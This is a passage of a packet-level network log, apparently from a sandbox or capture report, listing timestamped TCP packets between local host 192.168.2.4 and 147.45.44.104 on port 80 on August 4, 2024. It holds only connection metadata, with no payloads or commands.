Aug 4, 2024 02:21:39.009053946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009069920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009088039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009102106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009114027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009134054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009146929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009169102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009181976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009202003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009212017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009233952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009243965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009265900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009273052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009298086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009305954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009330988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009344101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009367943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009377956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009413004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009418964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009450912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009464979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009483099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009501934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009517908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009530067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009551048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009572983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009584904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009591103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009618044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009628057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009650946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009663105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009682894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009696007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009716034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009728909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009747028 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009759903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009778976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009790897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009812117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009823084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009844065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009871960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009875059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009888887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009913921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009916067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009948969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009958029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.009978056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.009993076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010009050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010018110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010041952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010055065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010073900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010086060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010106087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010118961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010134935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010149002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010166883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010181904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010199070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010210991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010231972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010245085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010263920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010281086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010297060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010309935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010329962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010348082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010363102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010373116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010397911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010406017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010426998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010442972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010458946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010471106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010490894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010503054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010523081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010534048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010555029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010565996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010588884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010600090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010622025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010632992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010653973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010664940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010687113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010698080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010719061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010730982 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010751963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010762930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010785103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010812998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010831118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010924101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010956049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010968924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.010989904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.010998011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011022091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011035919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011054039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011059999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011084080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011095047 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011116982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011126041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011145115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011157036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011177063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011193991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011209965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011219978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011243105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011251926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011275053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011285067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011307955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011316061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011341095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011346102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011378050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011384010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011420012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011471033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011502981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011512041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011534929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011542082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011568069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011579037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011603117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011610985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011636019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011643887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011667967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011677027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011701107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.011708975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.011740923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.048216105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.048249960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.048269033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.048307896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.048338890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.048345089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.048372030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.048372984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.048398018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.048405886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.048417091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.048676014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.095796108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.095845938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.095856905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.095891953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.095910072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.095957041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.095963001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.095995903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096005917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096028090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096043110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096071959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096080065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096113920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096124887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096147060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096157074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096191883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096198082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096231937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096240044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096265078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096276045 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096297979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096306086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096329927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096343040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096379042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096380949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096426964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096431971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096467972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096477985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096509933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096524000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096560001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096568108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096594095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096609116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096626997 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096661091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096673965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096693993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096703053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096726894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096745014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096760035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096771002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096807957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096821070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096842051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096854925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096874952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096889973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096906900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096920013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096951962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.096956968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.096996069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097002983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097028971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097043037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097060919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097074032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097095966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097100019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097129107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097141027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097162008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097172976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097193956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097206116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097227097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097239017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097259045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097271919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097292900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097307920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097325087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097336054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097357988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097372055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097393036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097407103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097448111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097501040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097532988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097553015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097574949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097584963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097616911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097631931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097650051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097661018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097685099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097697020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097718000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097733021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097750902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097764015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097783089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097795963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097815990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097831964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097860098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097867012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097899914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097913027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097933054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097944021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.097968102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.097979069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098011971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098017931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098051071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098067999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098083019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098088980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098115921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098120928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098150015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098162889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098181963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098195076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098215103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098226070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098259926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098264933 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098300934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098309994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098332882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098355055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098366022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098376989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098398924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098412991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098431110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098439932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098459005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098470926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098491907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098505974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098525047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098540068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098557949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098567963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098592043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098603010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098627090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098638058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098668098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098680019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098711967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098726034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098745108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098752975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098779917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098802090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098813057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098824978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098856926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098862886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098896027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098903894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098927021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:39.098933935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:39.098963976 CEST	80	49757	147.45.44.104	192.168.2.4
